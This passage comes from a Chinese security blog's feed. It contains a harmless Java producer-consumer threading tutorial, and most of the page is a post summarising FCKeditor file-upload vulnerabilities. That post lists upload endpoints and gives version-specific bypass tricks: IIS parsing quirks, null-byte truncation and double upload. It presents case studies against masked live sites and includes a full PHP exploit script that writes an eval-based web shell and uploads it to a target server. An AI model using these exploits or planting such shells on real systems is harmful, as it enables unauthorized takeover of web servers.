&#125;</span><br><span class="line"> &#125;</span><br><span class="line"> &#125;<span class="keyword">finally</span>&#123;</span><br><span class="line"> <span class="keyword">if</span>(reader!=<span class="keyword">null</span>)&#123;</span><br><span class="line"> reader.close();</span><br><span class="line"> &#125;</span><br><span class="line"> <span class="keyword">if</span>(inr!=<span class="keyword">null</span>)&#123;</span><br><span class="line"> inr.close();</span><br><span class="line"> &#125;</span><br><span class="line"> <span class="keyword">if</span>(in!=<span class="keyword">null</span>)&#123;</span><br><span class="line"> in.close();</span><br><span class="line"> &#125;</span><br><span class="line"> &#125;</span><br><span class="line"> &#125;</span><br><span class="line"> <span class="keyword">else</span>&#123;</span><br><span class="line"> &#125;</span><br><span class="line"> &#125; <span class="keyword">catch</span> (IOException e) &#123;</span><br><span class="line"> &#125;</span><br><span class="line"> </span><br><span class="line"> &#125;</span><br><span class="line"> &#125;</span><br><span class="line"> </span><br><span class="line">&#125;</span><br><span class="line"> &#125;</span><br></pre></td></tr></table></figure>
<p>本文由HackBraid整理总结,如需转载请注明出处。</p>
</content>
<summary type="html">
<h2 id="0x01_背景">0x01 背景</h2><p>引上一篇博文,对于多线程程序来说,不管任何编程语言,生产者和消费者模型都是最经典的。就像学习每一门编程语言你首先要输出Hello World一样,都是经典的例子。这里使用queue队列作为仓储,将生产者和消费者联系起来并模拟实现一个多线程提取SVN信息泄露漏洞的程序。<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/svn.png" alt=""><br>
</summary>
<category term="编程开发" scheme="http://www.cnbraid.com/categories/%E7%BC%96%E7%A8%8B%E5%BC%80%E5%8F%91/"/>
<category term="JAVA" scheme="http://www.cnbraid.com/tags/JAVA/"/>
<category term="SVN" scheme="http://www.cnbraid.com/tags/SVN/"/>
<category term="多线程" scheme="http://www.cnbraid.com/tags/%E5%A4%9A%E7%BA%BF%E7%A8%8B/"/>
</entry>
<entry>
<title>Java基于queue的多线程模拟生产者消费者问题</title>
<link href="http://www.cnbraid.com/2015/09/23/producerconsumer/"/>
<id>http://www.cnbraid.com/2015/09/23/producerconsumer/</id>
<published>2015-09-23T07:30:00.000Z</published>
<updated>2016-05-03T05:42:09.432Z</updated>
<content type="html"><h2 id="0x01_并发协作(生产者消费者模型)">0x01 并发协作(生产者消费者模型)</h2><p>对于多线程程序来说,不管任何编程语言,生产者和消费者模型都是最经典的。就像学习每一门编程语言你首先要输出Hello World一样,都是经典的例子。<br>生产者消费者模型准确的讲应该是”生产者-消费者-仓储”模型,离开了仓储这个介质,生产者和消费者也就没有了必然的联系。<br>这里使用queue队列作为仓储,将生产者和消费者联系起来并模拟实现一个简单的多线程并发协作的模型<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/6.JPG" alt=""><br><a id="more"></a></p>
<h2 id="0x02_基于Queue的生产者消费者模型实现">0x02 基于Queue的生产者消费者模型实现</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">package</span> com.thread;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.util.concurrent.BlockingQueue;</span><br><span class="line"><span class="keyword">import</span> java.util.concurrent.ExecutorService;</span><br><span class="line"><span class="keyword">import</span> java.util.concurrent.Executors;</span><br><span class="line"><span class="keyword">import</span> java.util.concurrent.LinkedBlockingQueue;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span><br><span class="line"> * java基于queue多线程来模拟生产者消费者问题</span><br><span class="line"> * </span><br><span class="line"> * ProducerConsumer是主类,Producer生产者,Consumer消费者,Queue是商品</span><br><span class="line"> * </span><br><span class="line"> * <span class="doctag">@author</span> braid</span><br><span class="line"> * <span class="doctag">@time</span> 2015-09-23</span><br><span class="line"> */</span></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">ProducerConsumer</span> </span>&#123;</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> </span>&#123;</span><br><span class="line"> ProducerConsumer pc = <span class="keyword">new</span> ProducerConsumer();</span><br><span class="line"> BlockingQueue&lt;String&gt; queue = <span class="keyword">new</span> LinkedBlockingQueue&lt;String&gt;(<span class="number">5</span>);</span><br><span class="line"> ExecutorService service = Executors.newCachedThreadPool();</span><br><span class="line"> Producer p = pc.new Producer(<span class="string">"王一"</span>, queue);</span><br><span class="line"> Consumer c = pc.new Consumer(<span class="string">"李二"</span>, queue);</span><br><span class="line"> service.submit(p);</span><br><span class="line"> service.submit(c);</span><br><span class="line"> &#125;</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span><br><span class="line"> * 消费者</span><br><span class="line"> * </span><br><span class="line"> * <span class="doctag">@author</span> braid</span><br><span class="line"> * <span class="doctag">@time</span> 2015-09-23</span><br><span class="line"> */</span></span><br><span class="line"> <span class="class"><span class="keyword">class</span> <span class="title">Consumer</span> <span class="keyword">extends</span> <span class="title">Thread</span> </span>&#123;</span><br><span class="line"> <span class="keyword">private</span> String name;</span><br><span class="line"> <span class="keyword">private</span> BlockingQueue&lt;String&gt; queue = <span class="keyword">null</span>;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="title">Consumer</span><span class="params">(String name, BlockingQueue&lt;String&gt; queue)</span> </span>&#123;</span><br><span class="line"> <span class="keyword">this</span>.name = name;</span><br><span class="line"> <span class="keyword">this</span>.queue = queue;</span><br><span class="line"> &#125;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">run</span><span class="params">()</span> </span>&#123;</span><br><span class="line"> <span class="keyword">while</span> (<span class="keyword">true</span>) &#123;</span><br><span class="line"> <span class="keyword">if</span> (queue.isEmpty())</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> String product;</span><br><span class="line"> <span class="keyword">try</span> &#123;</span><br><span class="line"> product = queue.take();</span><br><span class="line"> System.out.println(name + <span class="string">"消费商品:"</span> + product);</span><br><span class="line"> Thread.sleep(<span class="number">500</span>);</span><br><span class="line"> &#125; <span class="keyword">catch</span> (InterruptedException e) &#123;</span><br><span class="line"> <span class="comment">// TODO Auto-generated catch block</span></span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> &#125;</span><br><span class="line"></span><br><span class="line"> &#125;</span><br><span class="line"> &#125;</span><br><span class="line"> &#125;</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span><br><span class="line"> * 生产者</span><br><span class="line"> * </span><br><span class="line"> * <span class="doctag">@author</span> braid</span><br><span class="line"> * <span class="doctag">@time</span> 2015-09-23</span><br><span class="line"> */</span></span><br><span class="line"> <span class="class"><span class="keyword">class</span> <span class="title">Producer</span> <span class="keyword">extends</span> <span class="title">Thread</span> </span>&#123;</span><br><span class="line"> <span class="keyword">private</span> String name;</span><br><span class="line"> <span class="keyword">private</span> BlockingQueue&lt;String&gt; queue = <span class="keyword">null</span>;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="title">Producer</span><span class="params">(String name, BlockingQueue&lt;String&gt; queue)</span> </span>&#123;</span><br><span class="line"> <span class="keyword">this</span>.name = name;</span><br><span class="line"> <span class="keyword">this</span>.queue = queue;</span><br><span class="line"> &#125;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">run</span><span class="params">()</span> </span>&#123;</span><br><span class="line"> <span class="comment">// while(true)会造成阻塞,应该根据实际需要设定条件</span></span><br><span class="line"> <span class="keyword">while</span> (<span class="keyword">true</span>) &#123;</span><br><span class="line"> String product = <span class="string">"product"</span> + (<span class="keyword">int</span>) (Math.random() * <span class="number">10000</span>);</span><br><span class="line"> <span class="keyword">try</span> &#123;</span><br><span class="line"> queue.put(product);</span><br><span class="line"> System.out.println(name + <span class="string">"已生产:"</span> + product);</span><br><span class="line"> Thread.sleep(<span class="number">500</span>);</span><br><span class="line"> &#125; <span class="keyword">catch</span> (InterruptedException e) &#123;</span><br><span class="line"> <span class="comment">// TODO Auto-generated catch block</span></span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> &#125;</span><br><span class="line"> &#125;</span><br><span class="line"> &#125;</span><br><span class="line"> &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>本文由HackBraid整理总结,如需转载请注明出处。</p>
</content>
<summary type="html">
<h2 id="0x01_并发协作(生产者消费者模型)">0x01 并发协作(生产者消费者模型)</h2><p>对于多线程程序来说,不管任何编程语言,生产者和消费者模型都是最经典的。就像学习每一门编程语言你首先要输出Hello World一样,都是经典的例子。<br>生产者消费者模型准确的讲应该是”生产者-消费者-仓储”模型,离开了仓储这个介质,生产者和消费者也就没有了必然的联系。<br>这里使用queue队列作为仓储,将生产者和消费者联系起来并模拟实现一个简单的多线程并发协作的模型<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/6.JPG" alt=""><br>
</summary>
<category term="编程开发" scheme="http://www.cnbraid.com/categories/%E7%BC%96%E7%A8%8B%E5%BC%80%E5%8F%91/"/>
<category term="JAVA" scheme="http://www.cnbraid.com/tags/JAVA/"/>
<category term="多线程" scheme="http://www.cnbraid.com/tags/%E5%A4%9A%E7%BA%BF%E7%A8%8B/"/>
<category term="生产者消费者" scheme="http://www.cnbraid.com/tags/%E7%94%9F%E4%BA%A7%E8%80%85%E6%B6%88%E8%B4%B9%E8%80%85/"/>
</entry>
<entry>
<title>FCKeditor上传漏洞总结</title>
<link href="http://www.cnbraid.com/2015/07/09/fckeditor/"/>
<id>http://www.cnbraid.com/2015/07/09/fckeditor/</id>
<published>2015-07-09T02:39:50.000Z</published>
<updated>2016-06-24T08:56:03.589Z</updated>
<content type="html"><h2 id="0x01_FCKeditor简介">0x01 FCKeditor简介</h2><p>FCKeditor是一个专门使用在网页上属于开放源代码的所见即所得文字编辑器。它志于轻量化,不需要太复杂的安装步骤即可使用。它可和PHP、 JavaScript、ASP、ASP.NET、ColdFusion、Java、以及ABAP等不同的编程语言相结合。“FCKeditor”名称中的 “FCK” 是这个编辑器的作者的名字Frederico Caldeira Knabben的缩写。FCKeditor 相容于绝大部分的网页浏览器,像是 : Internet Explorer 5.5+ (Windows)、Mozilla Firefox 1.0+、Mozilla 1.3+ 和 Netscape 7+。在未来的版本也将会加入对 Opera 的支援。<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/f.jpg" alt=""><br><a id="more"></a></p>
<h2 id="0x02_判断版本">0x02 判断版本</h2><p>常见判断版本方法有两个:<br>/fckeditor/editor/dialog/fck_about.html<br>/FCKeditor/_whatsnew.html<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/f1.jpg" alt=""></p>
<h2 id="0x03_上传地址">0x03 上传地址</h2><h3 id="常用的上传地址A">常用的上传地址A</h3><blockquote>
<p>FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&amp;Type=Image&amp;CurrentFolder=/<br>FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&amp;connector=connectors/asp/connector.asp<br>FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&amp;Connector=<a href="http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php" target="_blank" rel="external">http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php</a> (ver:2.6.3 测试通过)<br>FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&amp;Connector=connectors/jsp/connector.jsp</p>
</blockquote>
<h3 id="常用的上传地址B">常用的上传地址B</h3><blockquote>
<p>FCKeditor/editor/filemanager/browser/default/connectors/test.html<br>FCKeditor/editor/filemanager/upload/test.html<br>FCKeditor/editor/filemanager/connectors/test.html<br>FCKeditor/editor/filemanager/connectors/uploadtest.html </p>
</blockquote>
<h2 id="0x04_上传方法">0x04 上传方法</h2><h3 id="ASP版">ASP版</h3><p>asp一般是搭在windows主机上,webserver一般为IIS6/IIS7/IIS7.5。据我现在所知,asp版的fckeditor已经可以全秒了。</p>
<p>&lt;2.4.x版本(也就是2.4.x及以下)的File参数时为黑名单验证,可以通过上传.asa、.cer、.asp;jpg(针对IIS6)。如果asa、cer不被解析,还可以传.asp[空格]。传的方法就是抓包然后在数据包里的文件名后填个空格。</p>
<p>2.5.x和2.6.x:如果是IIS6.0 ,可以通过突破变”.”为”_”限制创建.asp文件夹,代码如下:</p>
<blockquote>
<p>Fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&amp;Type=File&amp;CurrentFolder=%2Fshell.asp&amp;NewFolderName=z.asp</p>
</blockquote>
<p>复制代码然后往这个文件夹里传jpg,这个不多说了。</p>
<p>如果是IIS7及以上,这种方法就傻逼了。这个时候可以借助刚爆出来的那种方法,先传shell.asp%00txt,然后再传一次。</p>
<p>至此,asp版本已经全秒了。</p>
<h3 id="ASPX版">ASPX版</h3><p>低版本同ASP版,2.6.x用刚爆出来的二次上传已经不好使了,不过新建test.asp的文件夹还可以使。一般IIS6.0会支持asp,可以先传个asp上去,然后再XX。</p>
<h3 id="PHP版">PHP版</h3><p>1.低版本(2.4.x及以下),仍然为黑名单验证,windows主机可以使用php[空格]传,2.4.3的有个media未设置导致任意文件上传可以秒linux。</p>
<p>2.2.5.x以后是白名单验证,仅能寄希望于wooyun里爆的那个&lt;2.6.4的任意文件上传,成功率有限。</p>
<p>3.2.6.4以上的php版,据我所知没戏,求高人指点!我粗略的看了一下它的验证逻辑,表示没戏,windows里的敏感字符全给过滤了。</p>
<h2 id="0x05_实战案例">0x05 实战案例</h2><h3 id="【aspx+2-6-4】">【aspx+2.6.4】</h3><p>1.上传地址:<a href="http://***/FCKeditor/_samples/default.html" target="_blank" rel="external">http://***/FCKeditor/_samples/default.html</a><br>2.上传shell.asp;.jpg变shell_asp;.jpg,然后继续上传同名文件可变为shell.asp;(1).jpg<br>3.shell地址:<a href="http://***/userfiles/shell.asp;(1).jpg" target="_blank" rel="external">http://***/userfiles/shell.asp;(1).jpg</a><br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/f2.jpg" alt=""></p>
<h3 id="【PHP+2-4-3】">【PHP+2.4.3】</h3><p>1.Linux服务器,利用media未设置导致任意文件上传,测试POC为:<br><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="preprocessor">&lt;?php</span></span><br><span class="line">print_r(<span class="string">'</span><br><span class="line"> +--------------------------------------------------------------+</span><br><span class="line"> NS-ASG Getshell Exploit</span><br><span class="line"> +--------------------------------------------------------------+</span><br><span class="line">'</span>);</span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$argc</span> &lt; <span class="number">2</span>) &#123;</span><br><span class="line"> print_r(<span class="string">'</span><br><span class="line"> +--------------------------------------------------------------+</span><br><span class="line"> Example:</span><br><span class="line"> php '</span>.<span class="variable">$argv</span>[<span class="number">0</span>].<span class="string">' localhost</span><br><span class="line"> +--------------------------------------------------------------+</span><br><span class="line"> '</span>);</span><br><span class="line"> <span class="keyword">exit</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$host</span> = <span class="variable">$argv</span>[<span class="number">1</span>];</span><br><span class="line"><span class="variable">$file</span> = <span class="string">'index.php'</span>;</span><br><span class="line"><span class="variable">$path</span> = <span class="string">"/admin/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media"</span>;</span><br><span class="line"><span class="variable">$url</span> = <span class="string">'https://'</span>.<span class="variable">$host</span>.<span class="variable">$path</span>;</span><br><span class="line"><span class="variable">$fp</span> = fopen(<span class="string">"$file"</span>,<span class="string">"w"</span>) <span class="keyword">or</span> <span class="keyword">die</span>(<span class="string">'can not write'</span>);</span><br><span class="line">fwrite(<span class="variable">$fp</span>,<span class="string">"&lt;?php phpinfo();eval(\$_POST[cmd]);?&gt;"</span>);</span><br><span class="line">fclose(<span class="variable">$fp</span>);</span><br><span class="line"><span class="variable">$data</span> = <span class="keyword">array</span>(<span class="string">'NewFile'</span>=&gt;<span class="string">'@'</span>. dirname(<span class="keyword">__FILE__</span>).<span class="string">"/$file"</span>);</span><br><span class="line"><span class="variable">$curl</span> = curl_init(); </span><br><span class="line">curl_setopt ( <span class="variable">$curl</span>, CURLOPT_URL, <span class="variable">$url</span> ); <span class="comment">// </span></span><br><span class="line">curl_setopt ( <span class="variable">$curl</span>, CURLOPT_SSL_VERIFYPEER, <span class="number">0</span> ); </span><br><span class="line">curl_setopt ( <span class="variable">$curl</span>, CURLOPT_SSL_VERIFYHOST, <span class="number">0</span> ); </span><br><span class="line">curl_setopt ( <span class="variable">$curl</span>, CURLOPT_USERAGENT, <span class="string">"Mozilla/4.0"</span> ); </span><br><span class="line">@curl_setopt ( <span class="variable">$curl</span>, CURLOPT_FOLLOWLOCATION, <span class="number">1</span> ); </span><br><span class="line">curl_setopt ( <span class="variable">$curl</span>, CURLOPT_AUTOREFERER, <span class="number">1</span> ); </span><br><span class="line">curl_setopt ( <span class="variable">$curl</span>, CURLOPT_POST, <span class="number">1</span> ); </span><br><span class="line">curl_setopt ( <span class="variable">$curl</span>, CURLOPT_POSTFIELDS, <span class="variable">$data</span> ); </span><br><span class="line"></span><br><span class="line">curl_setopt ( <span class="variable">$curl</span>, CURLOPT_TIMEOUT, <span class="number">120</span> ); </span><br><span class="line">curl_setopt ( <span class="variable">$curl</span>, CURLOPT_HEADER, <span class="number">0</span> ); </span><br><span class="line">curl_setopt ( <span class="variable">$curl</span>, CURLOPT_RETURNTRANSFER, <span class="number">1</span> );</span><br><span class="line"><span class="variable">$tmpInfo</span> = curl_exec ( <span class="variable">$curl</span> ); </span><br><span class="line"><span class="keyword">if</span> (curl_errno ( <span class="variable">$curl</span> )) &#123;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">'Errno'</span> . curl_error ( <span class="variable">$curl</span> );</span><br><span class="line">&#125;</span><br><span class="line">curl_close ( <span class="variable">$curl</span> );</span><br><span class="line"> <span class="comment">//echo $tmpInfo;</span></span><br><span class="line"> preg_match(<span class="string">'/201,\"(.*)\",\"/iU'</span>,<span class="variable">$tmpInfo</span>,<span class="variable">$matchs</span>);</span><br><span class="line"><span class="variable">$url</span> = <span class="string">'https://'</span>.<span class="variable">$host</span>.<span class="variable">$matchs</span>[<span class="number">1</span>];</span><br><span class="line"><span class="keyword">print</span> <span class="string">'Shell: '</span>.<span class="variable">$url</span>.<span class="string">' password: cmd'</span>;</span><br><span class="line"><span class="preprocessor">?&gt;</span></span><br></pre></td></tr></table></figure></p>
<p>2.利用方式:php.exe 1.php 202.ip.ip.ip<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/f3.jpg" alt=""></p>
<h3 id="【JSP+2-2】">【JSP+2.2】</h3><p>1.利用00截断上传,地址如下:<br><a href="http://***/FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&amp;Connector=connectors/jsp/connector" target="_blank" rel="external">http://***/FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&amp;Connector=connectors/jsp/connector</a><br>2.上传后抓包并添加00截断如下:<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/f4.jpg" alt=""><br>3.shell地址:<a href="http://***/UserFiles/Image/x.jsp" target="_blank" rel="external">http://***/UserFiles/Image/x.jsp</a><br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/f5.jpg" alt=""></p>
<p>本文由HackBraid整理总结,原文链接:<a href="http://www.cnbraid.com/2015/07/09/fckeditor/">http://www.cnbraid.com/2015/07/09/fckeditor/</a>,如需转载请联系作者。</p>
</content>
<summary type="html">
<h2 id="0x01_FCKeditor简介">0x01 FCKeditor简介</h2><p>FCKeditor是一个专门使用在网页上属于开放源代码的所见即所得文字编辑器。它志于轻量化,不需要太复杂的安装步骤即可使用。它可和PHP、 JavaScript、ASP、ASP.NET、ColdFusion、Java、以及ABAP等不同的编程语言相结合。“FCKeditor”名称中的 “FCK” 是这个编辑器的作者的名字Frederico Caldeira Knabben的缩写。FCKeditor 相容于绝大部分的网页浏览器,像是 : Internet Explorer 5.5+ (Windows)、Mozilla Firefox 1.0+、Mozilla 1.3+ 和 Netscape 7+。在未来的版本也将会加入对 Opera 的支援。<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/f.jpg" alt=""><br>
</summary>
<category term="WEB应用漏洞" scheme="http://www.cnbraid.com/categories/WEB%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/"/>
<category term="fckeditor" scheme="http://www.cnbraid.com/tags/fckeditor/"/>
<category term="插件" scheme="http://www.cnbraid.com/tags/%E6%8F%92%E4%BB%B6/"/>
</entry>
</feed>